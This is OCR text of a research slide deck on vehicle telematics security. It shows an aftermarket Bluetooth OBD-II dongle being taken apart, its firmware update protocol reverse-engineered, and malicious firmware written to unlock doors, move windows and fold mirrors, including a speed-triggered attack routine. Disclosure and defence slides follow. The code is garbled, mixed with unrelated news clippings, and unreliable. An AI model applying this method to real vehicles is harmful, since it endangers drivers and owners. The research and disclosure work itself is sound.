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Tencent Hackers Remotely Control Tesla Motors Inc
(TSLA) Model S
Tesla Motors Inc responded with a swift OTA patch resolving the issue

By John Kilhefner, InvestorPlace Assistant Editor | Sep 21, 2016, 11:55 am EDT

u Tesla Motors Inc (NASDAQ:TSLA) had to roll out an over-the-air fix
after Chinese researchers working for Tencent Holdings Ltd
(OTCMKTS:TCTZF) exploited the Model S through a security flaw in its
internet connection.
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TELEMATICS
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TELEMATICS

Commercial Telematics Market - Forecasts from 2016 to 2021 - By
Solution, Industry Vertical & Geography - Research and Markets

March 22, 2017 01:26 PM Eastern Daylight Time

DUBLIN—-(BUSINESS WIRE)--Research and Markets has announced the addition of the "Commercial Telematics Market -
Forecasts from 2016 to 2021" report to their offering.

Global Commercial Telematics Market is expected to grow at a compound
annual growth rate of 20.28% over the forecast period to reach US$51.289
billion by 2021, growing from US$20.375 billion in 2016. Telematics are
information and telecommunication products which combine
telecommunication and computer services in order to transfer a large
amount of real-time data in vehicles.

“Commercial Telematics Market -
Forecasts from 2016 to 2021

W Tweet this




0BD-I1I

“*On-Board Diagnostic
** Perform emissions related diagnostics;

+*Collect information from electronic control units

(ECU);
“*Set ECU parameters;

“* Monitor engine and vehicle and even driver
behaviors;

L)

“*It can be exploited to attack the vehicle if a
malicious dongle is plugged into it.




CAN BUS

* Controller Area Network
»Data exchange among ECUs

> More than one CAN bus in a vehicle
» Eg: Infotainment CAN bus, Comfort CAN bus, Diagnostic CAN bus

»Each CAN bus has multiple ECUs

“* Messages in different CAN buses are exchanged via gateway.

** OBD-Il port is directly connected to gateway.
» External devices plugged into OBD-Il port can access ECUs through gateway.
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» Attack Surface of Telematics Systems
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APP — OWASP MOBILE TOP 10

M1 - Improper
Platform
Usage

M2 - Insecure
Data Storage

M3 - Insecure
Communication

M4 - Insecure
Authentication

M5 -

Insufficient
Cryptography

M6 - Insecure
Authorization

M7 - Client
Code Quality

M@ — Reverse
Engineering

M10 —

Extraneous
Functionality

https://www.owasp.org /index.php /Mobile_Top_10_2016-Top_10

M8 - Code

Tampering




WEB SERVICES — OWASP WEB TOP 10

A1 - Injection

A2 — Broken
Authentication
and Session
Management

A3 — Cross-Site
Scripting (XSS)

A4 — Insecure
Direct Object
References

A5 — Security

Misconfiguration

A6 — Sensitive
Data Exposure

A7 — Missing
Function Level
Access Control

A9 — Using

Components with

Known
Vulnerabilities

A10 -
Unvalidated
Redirects and
Forwards

https://www.owasp.org /index.php /Top_10_2013-Table_of_Contents

A8 — Cross-Site
Request Forgery
(CSRF)




DEVICES

“* Insufficient Authentication/Authorization
* Lack of Transport Encryption

* Insecure Mobile Interface

* Insufficient Security Configurability

“* Insecure Software /Firmware

** Poor Physical Security

<
’0‘ ee e

https:/ /www.owasp.org /images/7 /71 /Internet_of_Things_Top_Ten_2014-OWASP.pdf
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>
» A Vulnerable Telematics System
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DISCLAIMER

For this vulnerable telematics device, we have informed the

corresponding company about the vulnerabilities and how to patch
them with the help of HKCERT.



DEVICE

L)

% Microprocessor + Bluetooth + CAN
“* No W/R protection

** Communicate with its app through Bluetooth

Top Board: Bluetooth




DEVICE

Extract the original firmware!

JTAG Connection

Readout via J-Flash
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FIRMWARE

Analyse Firmware

Commands
fddress | @ |1 |2 |3 |4[s|e|[?|2|9|a|B|c|[Dp]|E]|F|nasciI 1]
80A4920 A4 O7 0P 20 B3 B3 OP 20 B8 PO GO 20 5C B8 BB 20
80H4930 |41 4C OGP B@ 42 44 O O 42 52 44 @@ 42 52 54 AL..BD..BRD.BRT
80B4048 |42 4F 4F 54 00 B0 OO 0@ 43 46 43 0@ 43 46 0O BOOT . . . .CFC.CF
80B4050 |43 4D OGP B@ 43 52 41 0@ 43 56 B9 @@ 44 58 4E CM..CRA.CU._DPN
8004960 |44 5P GO B@ 45 @9 OO0 90 48 49 53 90 48 08 49 DP..E...HIS.H.I
88B4070 |4C 45 44 B 4C 50 O O 4C B@ DB @@ 4D 41 DO LED.LP..L...MA.
8PE40EA |52 54 43 B 52 41 OF OA 52 44 DA @@ 52 56 DO RIC.RA..RD..RU
80H4998 |53 48 OGP B@ 53 5@ 41 0@ 53 5@ B@ @@ 53 54 PO SH..SPA.SP. ST =
80B40AP |53 56 0P BA 53 B9 OF O 54 5@ OO @@ 56 4D PO SU..S...TP..UM
80B40BP |56 53 OGP B 57 53 OO O 5A B0 B9 @@ 40 31 0O US..uS..Z...B1
89B49CH |49 32 0P BA 4@ 33 0P 98 48 34 30 33 00 OO OO B2..03..0403
80B40D0 |40 4C 4F 43 4B B9 00 00 48 5@ 57 44 00 08 0O BLOCK. . .GPUD. . ..
8PA4OED |48 41 55 54 43 @0 0P OB 48 45 58 49 54 68 DO BAUTH. . .BEXIT. ..
80H40FP |40 53 54 47 @0 B0 O O 48 53 54 53 00 0@ DO BSTG....GSTS. ...
80@4108 |40 53 54 43 00 B0 O O 48 53 54 9@ 54 53 41 BSTC....GBST.TSA.
80@4118 |54 53 42 @@ 54 53 46 0@ 54 53 47 9@ 48 53 41 TSB.TSF.TSG.BSAB
8904120 |99 B9 O B 45 31 45 31 3@ 3@ 30 3@ 30 30 39 . .. .E1E1 09000080
8004130 |30 30 30 30 PO B9 O OO 30 43 30 43 30 43 39 BE6E . . . . ACACACAC
80A4140 |30 30 O BA 3@ 45 3@ 45 30 45 38 45 30 30 DO 08 . . AEPEBEAEAD . .
80A4150 |30 30 30 3@ 30 30 30 30 00 @ DO OO 30 30 DO AEEEOE0E . . . .60 .
80B4160 |4E 4F 20 44 41 54 41 0@ 46 42 38 3@ 30 30 30 NO DATA .FEAABEER
8004170 |30 30 30 3@ 30 30 30 30 00 B0 B9 @@ 30 3@ 30 PEEEE0R0 . . . .AEED
8904180 |39 39 30 30 30 39 0P 98 3@ 31 30 30 00 OO OO DL R S iaZ Ermeren
8004190 (39 31 30 31 30 31 00 90 30 31 38 31 30 32 0O B16101 . .016162. .
88A41AP |39 32 30 31 39 31 0P 9@ 30 32 38 31 30 32 DO 026101 . .@26162 . .
80B41BA |25 64 2B 52 45 43 4F 52 44 28 52 45 4D 4F 56 »d_RECARD BEMANE
88H41CH |44 2E OB @@ 25 75 2E 25 3@ 32 75 @D OA 3E 0O D...x%u.x82u..>..
88B41DP |42 55 53 2@ 49 4E 49 54 3A 200 B9 @@ 2E 2E 2E BUS INIT: ..._..
8MB41EA |45 52 52 4F 52 @9 00 @8 53 45 41 52 43 48 49 ERROR. . .SEARCHIN ~|

Bluetooth Communication Data

ATDPN
0120
0140
010c
010c
01lle
0900
0101

|ELW327 +1.52

=27 wl6 1

2HT1
ELM3Z2Y wl. 5r- ~wvl.ea.l
AT@AUTHOABS3311605D0K>

ATZ

ELM327
vl oL

ATED

(]

e

I

CIE

CIE

T

TE3064100BE3FEE13

el wl, 6. 1035VNE

»
AUTO, I

S0 15765-4 (CAN 11/500)>
L6
b

APP Logs: Control Data

(14577): AT@5TS010101 0

(14577): AT@STS010502 0
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APP

package com. e cbd:

public final class|AlarmDatal{
public class C&a a

public static final int Float = 1;
public static final int Tnteger =
public static final int String = 2

0;

Code Snippet
B Ersrmetlis = e o No obfuscation and hardening ! !

super (] ;

}

private statiec final String TAS = "[AlarmData]";
private byte[] mData;

private int mbatalvpe;

private int miype;

private|AlarmbCata|int argl, int argZ, byte[] arg3) |
S'JIPEJ_ Wrr
this.mType = argl;
this.mbatalvpe = arg?;
this.mbata = argi;

}

public int geLDaLaTypeh] {
return is.mlatalype;

}




COMMUNICATION BETWEEN APP AND DEVICE

BluetoothSocket

Connect




COMMUNICATION PROTOCOL

. ATLOCKO ——
e ACK: >0K

Reverse-engineering the ATBOOT  s—)

. e . ;i .
firmware update protocol ACK: ELM 321 V1.5
ATBOOT —

e ACK: XXXXXX 627 V1.6.1035
ATBOOT —

e e ¢ >ATBOq5T

ATBOOT eeeessssss——)
Split the bin file —— ACK: Ox15 0x42

into fragments =

Send the 1 fragment E————————)
eeeeeeeeeeessssssmssm ACK: Ox06 44 Ox0D
Send the 2" fragment e ———

(ee—— ACK: 0x06 Ox44 0x0D
Send the last fragment

EEEeeee—————)
—— ACK: 0x06 Qx44 0x0D
Send “0x04” )

2 ACK: 0x06 wﬁgs[?c” the new’Firmware !



oo wuid OBD_AutoAttack_Speed void)

if{CorrentSpeed < SPEED_KM_PEHR_HOUR(EDY)
return;

iflAutoAttackDelay |
i

return;

an31s AutoAttackDelay = TIMEDELAY_10MS{500]); //8S

REPLACE THE FIRMWARE - TmEmee.

lag = Dxdl;
break:

case STEP_RANDOM_1;
Vw_Inserd_Op[\VW_0F LOCK);
BlueFlashFlag = oud1;
break;

BO333 case STEF_RANDOM_2:
Vi_Insert_Op{vW_OF_WOW_DN);
= Omol;

Prepare the POC malicious firmware

break;

BOAT case STEP_RANDOM_3:
noaaE: Vw_Insert_Op[uW_0OF_WOW_UP);

Re-Implement

P ,_ Attack A”"fm‘“ed °'"°'°ks. s wod OBD_BT_CustomizedAttack(u: Len, . “Dat)

some original Functi that will be executed if o e

. unctions o ssize: '

functions | conditions are S5 WCA == Datlo]) 8& (T == Data])
4 satisfied. amiza; switch(Dat(:)

case '8’ £ AT m:UnLeck
Vw_Insert_Op{vW_OF_UNLOCK];
BlueFlashFlag = 0x01;

Customized attacks 2 i

H Di3E: casa 'b': f# AT b:Lock
triggered by e Vw_Insert_Op{VW_0OPF_LOCK);
] 1 BlueFlashFlag = 0x01;
break;

Drivers

commands sent

/ through Bluetooth 401£0: case 'C: [/ AT c:Windew up

. Vwi_Insert_Op{W_0OB_WDW_LIE);
BlueFlashFiag = 0x01;
break;

case 'd': £ AT d: Window Din

Attack Methods oo147: Croert Sl sl

break;

HC"'dWCI re . i case e FIAT £ RVM Open

i) 4 Vw_Insert_Op{\vW_0FP_RVM_O=EN);
BlueFlashFlag = 0x01;
break;

case f: ff RVM Close
Vw_Insert_Op{VW_OF_RVM_CLOSE);
BlveFlashFlag = 0z01;
broak;
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EXPLOIT

Replace the original firmware with a
malicious firmware !

OutputStream.write(bytel])
OutputStream.flush()

Send command

Receive response

InputStream.read()

24



Woman Follows GPS, Drives Car Into Canada's
Georgian Bay

Andrea Vincze

WATCH | Woman Follows GPS, Drives Car Into Canada's Georgian Bay

1K Following directions from her car's GP5, a 23-year-old Canadian woman drove straight into a
SHARES frigid Ontario bay earlier this week.
25



ATTACKS

+* Send fake data to the back-end service

+» Attack the back-end service

. Database

26



DEMO SETTINGS

** Volkswagen Magotan 1.8T 2015

** The vulnerable telematics device

*** Android smartphone with a PoC attack app

:
[T

w15
il

21



Deploy malicious firmware

Fold/Unfold Mirrors Unlock/Lock Doors

A

28
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CONTENT

>
>
>

»>How to Fix the Vulnerability?
>

30



APP SECURITY

** Secure data storage

*s* Secure communication

+» Authentication

“* Verify the update /firmware downloaded from the backend service

* Obfuscation and hardening

<

L 4
LI

31



DEVICE SECURITY

“*Verify the firmware before installing it
**Protect the existing firmware

“*Avoid weak/default passwords
“*Encrypt the traffic

** Mutual authentication

o 0
oo e

L)

32



WEB SERVICE SECURITY

OWASP Cheat Sheets

Martin Woschek, owasp@jesterweb.de

April 9, 2015

https://www.owasp.org/images/9/9a/OWASP_Cheatsheets_Book.pdf

s

@ULUFISD ‘ Testing Guide @0

release

Project Leaders: Matteo Meucci and Andrew Muller

ve Commans [CC) Attribution Share-Alike

https://www.owasp.org/images/1/19/0TGv4.pdf

33



SUMMARY

Attack surface of vehicle telematics systems

Device, Communication, App, Backend service

Securing vehicle telematics systems
Security, safety, reliability, resilience, privacy

Monitoring, analysis, and management

Thanks my group members for contributing to this research: Dawei Lyu, Lei Xue, Le Yu, Shengtuo Hu

We have been conducting research on mobile security, network and system security, loT security, etc.
https:/ /www4.comp.polyu.edu.hk /~csxluo/
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THANKS!
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